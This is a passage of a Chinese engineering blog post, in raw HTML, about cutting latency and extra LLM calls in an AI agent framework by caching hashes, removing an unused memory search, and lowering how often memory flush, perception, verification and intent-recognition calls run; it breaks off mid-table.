style="white-space:pre-wrap;"><code data-lark-language="Go" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__function"><span class="code-snippet__keyword">func</span></span><span class="code-snippet__function"><span class="code-snippet__title">cachedContentHash8</span></span><span class="code-snippet__function"><span class="code-snippet__params">(content </span></span><span class="code-snippet__function"><span class="code-snippet__params"><span class="code-snippet__type">string</span></span></span><span class="code-snippet__function"><span class="code-snippet__params">)</span></span> <span class="code-snippet__type">string</span> {</span></code><br/><br/><code><span leaf="">    contentHash8CacheMu.RLock()</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> h, ok := contentHash8Cache[content]; ok {</span></code><br/><br/><code><span leaf="">        contentHash8CacheMu.RUnlock()</span></code><br/><br/><code><span leaf="">        <span class="code-snippet__keyword">return</span> h</span></code><br/><br/><code><span leaf="">    }</span></code><br/><br/><code><span leaf="">    contentHash8CacheMu.RUnlock()</span></code><br/><br/><code><span leaf="">    h := contentHash8(content)</span></code><br/><br/><code><span leaf="">    contentHash8CacheMu.Lock()</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">len</span>(contentHash8Cache) &gt; <span class="code-snippet__number">512</span> {</span></code><br/><br/><code><span leaf="">        contentHash8Cache = <span class="code-snippet__keyword">map</span>[<span class="code-snippet__type">string</span>]<span class="code-snippet__type">string</span>{} <span class="code-snippet__comment">// 超过 512 条直接清空，简单粗暴</span></span></code><br/><br/><code><span leaf="">    }</span></code><br/><br/><code><span leaf="">    contentHash8Cache[content] = h</span></code><br/><br/><code><span leaf="">    contentHash8CacheMu.Unlock()</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span> h</span></code><br/><br/><code><span leaf="">}</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">改完之后，每轮迭代的同步路径减少 ~235ms。</span><span textstyle="" style="letter-spacing: 1px;">一个跑 20 轮的任务，光这一项就省了将近 5 秒。而 UI 面板最多延迟几百毫秒看到 observation 数据——用户完全感知不到。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt161apf1zhd" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="702" data-imgfileid="100046417" data-ratio="0.5949152542372881" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="1180" data-width="1180" src="https://wechat2rss.xlab.app/img-proxy/?k=eae7aa1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GvlnGJ0MMwZK5KjY4ULFqFMp1nV669Il35bL1e7qol1bAeSNQJBVs9gA84AmJNEj0GXjdAYwPzcS6t8kko0k4ChCDrSrjOGJU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">三、LLM 调用次数：移除无用调用与降频（-57%）</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">单轮的墙钟时间优化之后，注意力自然转向第二个步骤——&#34;调用 LLM&#34;。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">这一步本身是必要的，每轮的主循环决策必须经过 LLM。</span><span textstyle="" style="letter-spacing: 1px;">但问题在于，主循环之外还设计了不少&#34;附加 LLM 调用&#34;：感知、验证、记忆 triage、意图识别。这些机制在各自的场景下都有价值，但随着系统演进，有些调用的触发频率偏高，有些的结果已经不再被下游消费。10 轮迭代里额外跑 5-7 次附加调用，累积起来开销不小。</span></span></p><p style="margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">于是我们逐个审视这些附加调用：触发频率是否还匹配当前场景？有没有更轻量的替代方案？能不能延后到真正需要时再触发</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">？</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">3.1 isDone 时的 SearchMemory：结果已无人消费</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">先看到的是任务完成（isDone）时的 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">SearchMemory</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 调用。这个机制最初设计时，意图是在任务收尾时检索一下相关记忆，供后续场景参考：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Go" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__keyword">if</span> isDone &amp;&amp; !task.IsAsyncMode() {</span></code><br/><br/><code><span leaf="">    searchResult, err := r.memoryTriage.SearchMemory(task.GetUserInput(), <span class="code-snippet__number">4096</span>)</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__comment">// ...</span></span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">len</span>(searchResult.Memories) &gt; <span class="code-snippet__number">0</span> {</span></code><br/><br/><code><span leaf="">        log.Infof(<span class="code-snippet__string">&#34;found %d relevant memories for completed task %s (total: %d tokens)&#34;</span>,</span></code><br/><br/><code><span leaf="">            <span class="code-snippet__built_in">len</span>(searchResult.Memories), task.GetId(), searchResult.ContentTokens)</span></code><br/><br/><code><span leaf="">    }</span></code><br/><br/><code><span leaf="">}</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">但随着系统演进，这个调用的结果已经不再被任何下游逻辑消费——只写了一行 log。保留它意味着每次任务完成都多一次 G3 tag-selection LLM 调用。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">移除之后，行为无变化，零副作用。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">3.2 记忆 flush 间隔：3→6，攒够了再处理</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">顺着记忆系统继续看，</span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">MemoryFlushBuffer</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 负责攒够一定量再触发 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">HandleMemory</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（含 G1 memory-triage LLM 调用）。原来的阈值是每 3 轮迭代 flush 一次，在早期任务规模较小时是合理的：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Go" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__comment">// 改动前：每 3 轮就 flush 一次</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__title">MaxPendingIterations</span>: <span class="code-snippet__number">3</span>,</span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment">// 改动后：每 6 轮才 flush 一次</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment">// 记忆写入仍异步不阻塞主循环，task done 时仍会 flush 不会丢失记忆</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__title">MaxPendingIterations</span>: <span class="code-snippet__number">6</span>,</span></code><br/><br/></pre></p></code><br/></pre><p><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">但任务变长后，3 轮一次的频率偏密：</span><span textstyle="" style="letter-spacing: 1px;">一个 10 轮任务会产生 iter 3/6/9 + done = 4 次 flush。调整为 6 轮一次后降到 2 次（iter 6 + done）。记忆写入是异步 fire-and-forget，延迟 flush 不阻塞主循环，任务结束时还会强制 flush，不会丢数据</span></span><span leaf="">。</span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">3.3 感知和验证：频率瘦身</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">前两项是比较直接的裁剪。感知和验证这两个机制本身都有价值——感知负责检测意图漂移、验证负责沉淀证据——但它们的触发频率在早期设得偏高，在任务变长后累积成了主要的附加开销。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Agent 每做一次 action 后，可能触发一次&#34;意图感知&#34;AI call。早期设计了三个触发入口：post_action、afterVerification、SPIN，最小间隔 120s，每 4 轮 iter 就可能触发一次。这在短任务里感知灵敏是好事，但任务变长后频次过高：</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt163el6xfu" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="612" data-imgfileid="100046415" data-ratio="0.33962264150943394" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="1802" data-width="1802" src="https://wechat2rss.xlab.app/img-proxy/?k=1c302574&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GFt2iacCKSSqFYMjZKExozicnwWjC0mbhkdiaFsneibfsnIZ0LVGichPkZrfdX8ciaaMF2WBr7A987xGHUOEobJmvnFDEfSqF7nqiakc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">我们对触发入口做了裁剪：</span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">afterVerification</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;"> 触发源移除</span><span textstyle="" style="letter-spacing: 1px;">——验证本身已经是对结果的判定了，再触发一次感知信息重叠较多。同时把间隔拉长：最小间隔 120s→5min，最大间隔 5min→15min，迭代间隔 4→8，指数退避阈值 2→1（首次无变化就翻倍，更快爬到上限）。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">验证机制的频率也做了类似调整。Agent 会定期触发&#34;用户满意度验证&#34;AI call，早期几乎每 6-7 轮就触发一次，在短任务里能及时收尾，但任务变长后打断过于频繁。我们把阈值逐个调高：</span></span></p><table style="border: none;border-collapse: collapse;min-width: 100px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">参数</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">改动前</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">改动后</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">说明</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">时间门</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">180s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">1800s（30min）</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">距上次验证多久才强制再跑</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">iter 门</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">6</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">20</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">每 N 轮才触发</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">首次触发</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">3 轮</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">10 轮</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">不再过早触发</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">软 token 门</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1500</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">10K</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">上下文增长多少才触发</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">硬 token 门</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">5000</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">20K</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">超大增长才豁免冷静期</span></p></td></tr></tbody></table><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">验证的定位也做了调整：从&#34;高频满意度判定&#34;转为&#34;evidence 沉淀&#34;，由 Agent 主循环通过 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">save_evidence</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> action 主动沉淀证据，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">自动验证仅作最终兜底，不需要高频打断。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">3.4 意图识别：从多轮 ReAct 精简为单次 AI call</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">最后看的是意图识别。</span><span textstyle="" style="letter-spacing: 1px;">早期设计时，意图识别本身也是一个完整的 ReAct 子循环——</span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">query_capabilities → finalize_enrichment + LiteForge fallback</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，可能跑好几轮迭代。这在初期能力丰富、匹配逻辑复杂时是合理的，但随着搜索机制成熟，可以用更轻量的方式替代：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">改造后变成一个纯 init 流程：</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt1660g41cbr" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1308" data-imgfileid="100046414" data-ratio="0.8696808510638298" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="1504" data-width="1504" src="https://wechat2rss.xlab.app/img-proxy/?k=4901fc39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FcGItresv3BnSuH33ialgd7wRWshkQMgJb7mg2w01blUEHaJddllnnCDbm3BFZRgPVEOaYrWGb2M4lLrZnZsqzlNwbxJ1GJzAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">BM25 搜索是纯本地计算，不调 LLM。只有匹配结果超过 12 条时才触发第二次 AI call 做推荐。简单场景一次 AI call 就够了。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">3.5 效果汇总</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">一个 10 轮迭代的单任务，额外的 LLM 调用从 5-7 次降到 2-3 次，</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">减少 57%</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><table style="border: none;border-collapse: collapse;min-width: 75px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">LLM 调用来源</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">改动前</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">改动后</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">isDone SearchMemory</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1 次</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf="">0 次</span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Memory flush (G1 triage)</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">3-4 次</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf="">1-2 次</span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid 